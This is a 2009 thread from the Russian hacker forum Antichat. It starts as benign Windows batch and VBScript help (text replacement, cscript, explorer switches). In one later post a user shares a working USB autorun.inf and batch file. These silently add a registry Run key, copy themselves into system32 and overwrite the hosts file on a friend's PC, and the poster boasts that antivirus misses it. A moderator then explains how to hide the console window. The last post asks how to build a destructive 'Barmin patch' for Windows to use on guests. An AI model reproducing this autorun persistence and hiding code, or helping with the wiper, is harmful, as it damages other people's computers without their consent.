Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

19.01.2009, 19:34
|
|
Moderator - Level 7
Регистрация: 12.07.2008
Сообщений: 1,705
Провел на форуме: 5914048
Репутация:
1350
|
|
Только стороние решения или программы.Стандартных нет.Так что лучше взять vbscript ,который везде заведется =)
|
|
|

19.01.2009, 19:48
|
|
Познавший АНТИЧАТ
Регистрация: 22.11.2007
Сообщений: 1,822
Провел на форуме: 4468361
Репутация:
1549
|
|
не верю, что извратиться с цмд нельзя, (какой-то выход должен быть) но верю, что на ВБ это проще сделать, посему завтра - ВБ... эххх...
|
|
|

19.01.2009, 20:14
|
|
Moderator - Level 7
Регистрация: 12.07.2008
Сообщений: 1,705
Провел на форуме: 5914048
Репутация:
1350
|
|
Чуть по легче скрипт для VBScript.
Const ForReading = 1
Const ForWriting = 2
strFileName = Wscript.Arguments(0)
strOldText = Wscript.Arguments(1)
strNewText = Wscript.Arguments(2)
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(strFileName, ForReading)
strText = objFile.ReadAll
objFile.Close
strNewText = Replace(strText, strOldText, strNewText)
Set objFile = objFSO.OpenTextFile(strFileName, ForWriting)
objFile.WriteLine strNewText
objFile.Close
И легко применяется в bat файле.
cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James "
Чтоб не таскать с собой 2 файла можно сделать bat:
@echo off
echo Const ForReading = 1 > replace.vbs
echo Const ForWriting = 2 >> replace.vbs
echo strFileName = Wscript.Arguments(0) >> replace.vbs
echo strOldText = Wscript.Arguments(1) >> replace.vbs
echo strNewText = Wscript.Arguments(2) >> replace.vbs
echo Set objFSO = CreateObject("Scripting.FileSystemObject") >> replace.vbs
echo Set objFile = objFSO.OpenTextFile(strFileName, ForReading) >> replace.vbs
echo strText = objFile.ReadAll >> replace.vbs
echo objFile.Close >> replace.vbs
echo strNewText = Replace(strText, strOldText, strNewText) >> replace.vbs
echo Set objFile = objFSO.OpenTextFile(strFileName, ForWriting) >> replace.vbs
echo objFile.WriteLine strNewText >> replace.vbs
echo objFile.Close >> replace.vbs
cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James ""
del replace.vbs
Последний раз редактировалось SpangeBoB; 19.01.2009 в 20:25..
|
|
|

20.01.2009, 16:02
|
|
Познавший АНТИЧАТ
Регистрация: 22.11.2007
Сообщений: 1,822
Провел на форуме: 4468361
Репутация:
1549
|
|
Спанч, вот это ты жжешь! Скажи, а что значит строка
cscript replace.vbs "C:\Scripts\Text.txt" "Jim " "James ""
а точнее, - что такое cscript?
Хотя, у меня и без этой строки запустилось. Клево!
---
а как запустить вб скрипт из-под цмд коммандой старт так, что бы следующая комманда после старта выполнялась только после того, как закончитт выполняться запускаемое приложение?
Я вб скрипт еще не отладил, так что он пока не закрывается 
|
|
|

20.01.2009, 18:36
|
|
Moderator - Level 7
Регистрация: 12.07.2008
Сообщений: 1,705
Провел на форуме: 5914048
Репутация:
1350
|
|
Так что использую после второй скрипт ,с помощью cscript происходит запуск сценария после его отработки он удаляется.Любой vbscript,jscript запускать через cscript.exe
Программа Cscript.exe является интерфейсом командной строки сервера сценариев, который позволяет указать параметры для настройки свойств сценария.
cscript replace.vbs "C:\replace.txt" "Jam" "james"
replace.vbs - сам скрипт vbs
"Jam"-фраза для замены
"james" - на что заменяем
С помощью программы Cscript.exe можно запустить сценарий, введя имя его файла в командной строке. Как Microsoft Internet Explorer сервер сценариев Windows служит контроллером средств обработки сценариев Windows, однако для его работы требуется очень небольшой объем памяти. Сервер сценариев Windows оптимально подходит как для интерактивных, так и для пакетных сценариев, таких как сценарий входа в систему и сценарий администрирования.
Сервер сценариев Windows поддерживает сценарии, написанные в редакторах VBScript и Jscript. При запуске сценария с рабочего стола или из командной строки сервер сценария считывает и передает содержимое указанного файла в зарегистрированный обработчик сценариев. Расширения файлов (.vbs для VBScript и .js для JScript) используются в обработчике сценариев для определения языка сценария. Благодаря этому, разработчик сценария не обязан знать точный программный идентификатор (ProgID) обработчика сценариев. Сопоставление расширения имени файла сценария с программным идентификатором и запуск конкретного обработчика сценариев осуществляется сервером сценариев Windows XP.
Последний раз редактировалось SpangeBoB; 20.01.2009 в 18:38..
|
|
|

21.01.2009, 01:48
|
|
Познавший АНТИЧАТ
Регистрация: 22.11.2007
Сообщений: 1,822
Провел на форуме: 4468361
Репутация:
1549
|
|
спанч, спасибо.
Но почему у меня вб скрипт запустился как вб скрипт коммандой start? Может инфа не совсем актуальна для MS Windows XP SP3? Там еще сборка зверевская Лего... Может в ней какие-то патчи...
|
|
|

21.01.2009, 02:18
|
|
Moderator - Level 7
Регистрация: 12.07.2008
Сообщений: 1,705
Провел на форуме: 5914048
Репутация:
1350
|
|
Существует cscript.exe и wscript.exe,в твоей системе идет привязка к cscript.exe.Т.е выполнение команд и отчет об ошибках будет отображаться в командной строке.Поэтому при запуске бат файла создается временное окно,в котором и выполненяется сценарий.Wscript.exe не используется консольный вывод,а использует обычные окна сообщений среды.
Для изменения сервера сценария(лучше не изменять):
cscript //H:cscript(wscript) //nologo //s
Последний раз редактировалось SpangeBoB; 21.01.2009 в 02:27..
|
|
|

25.03.2009, 14:34
|
|
Познавший АНТИЧАТ
Регистрация: 22.11.2007
Сообщений: 1,822
Провел на форуме: 4468361
Репутация:
1549
|
|
так, в тот раз я все прекрасно сделал и фортки перестали автоматом запускать автораны флех, сегодня с утра коллега приносит авторан и говорит, мол, зацени.
Это просто, элегантно и весело:
Код:
[autorun]
action=Открыть папку для просмтра файлов
shellexecute=1.cmd
icon=folder.ico
shell\Open\Command=1.cmd
shell\Open\Default=1
shell\Autoplay\Command=1.cmd
показываю 1.cmd
Код:
echo off
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Inet /t REG_SZ /d "C:\Windows\system32\crgdf.cmd" /f
copy /Y crgdf.cmd %WINDIR%\system32\
copy /Y hosts %WINDIR%\system32\
Самое веселое, что эти действия никто не палит, кроме висловской системы, которая очень любит переспрашивать - уверены ли мы (UAC). А на Хп - отличненько все крутится с включенным НОД32.
Скрипт коллега писал для того, что бы сделать своему другу западло и поменять хостс.ини, сделав переадресацию с многих порно сайтов на локалхост. Сегодня вечером пошутит, а меня интересует следующее:
Как сделать так, что бы ЦМДшное окошко не было видно при запуске. Гуглил. Запрос такой трудно нагуглить.
---
И еще, как сделать так, что бы батничек, который запускался с какой-то директории выполнял
change directory to current directory?
В конце выполнения инфа и цмд, должна открываться директория флешки, но выполняются эти скрипты из флешки, тобишь надо в конце цмд выполнить explorer с данной директории, которая может варироваться.
---
ключи для эксплорера:
Код:
/e - Вид Проводника по умолчанию (двухпанельное), иначе выводится как однопанельное (как Папка).
/e, object - Открывается Проводник с видом по умолчанию и с фокусом на заданной папке (Explorer /e,C:\Windows)
/n - Открытие однопанельного нового окна на диске, на котором установлена система (C:\). Иначе информация выводится в существующем окне Проводника, если оно открыто.
/root, object - Указывает на то, что корнем будет object - это дисковод (сетевой или локальный) или папка. Иначе корнем считается Рабочий стол. (Explorer /root, C:\Windows\Cursors)
/select, object - Указывает на необходимость открытия Родительской папки объекта object и выделит object (Explorer /select, C:\Windows\Cursors\banana.ani).
По умолчанию Проводник открывается на диске C:, но вы можете изменить это поведение, заставляя его, к примеру, открывать при запуске папку D:\MyDownload. Для этого, найдите ярлык к Проводнику, щелкните правой кнопкой и выберите свойства. Выберите вкладку Ярлык. Отредактируйте строчку Объект - C:\WINDOWS\EXPLORER.EXE /n,/e,D:\MyDownload.
Если создать ярлык и указать в качестве командной строки "C:\WINDOWS\EXPLORER.EXE /ROOT," (без кавычек, но с запятой в конце), то этот ярлык будет открывать рабочий стол (desktop). Причем, в проводнике будут показаны и системные иконки (сетевое окружение, outlook и т.д.).
Последний раз редактировалось Cthulchu; 25.03.2009 в 16:30..
|
|
|

25.03.2009, 19:01
|
|
Moderator - Level 7
Регистрация: 12.07.2008
Сообщений: 1,705
Провел на форуме: 5914048
Репутация:
1350
|
|
1) Окно cmd можно спрятать с помощью http://www.commandline.co.uk/cmdow/,команда
cmdow /run /hid mybat
2)change directory to current directory? -Это как сменить директорию на текущую,если мы и так в ней.
3)Если скрипты выполняются из корня,а открыть надо подпапку,то можно использовать
for /F %%i in ('cd') do explorer "%%~dpi1"
где 1 директория в корне.
|
|
|

31.03.2009, 16:28
|
|
Познавший АНТИЧАТ
Регистрация: 22.11.2007
Сообщений: 1,822
Провел на форуме: 4468361
Репутация:
1549
|
|
Спасибо, юзаю 
А как создать "Патч Бармина" под виндовзХП, хочу поиздеваться над "Гостями гугловского ВиО"
Вот доступное описание патча под никсы:
_http://ru.wikipedia.org/wiki/Патч_Бармина
Последний раз редактировалось Cthulchu; 31.03.2009 в 18:07..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|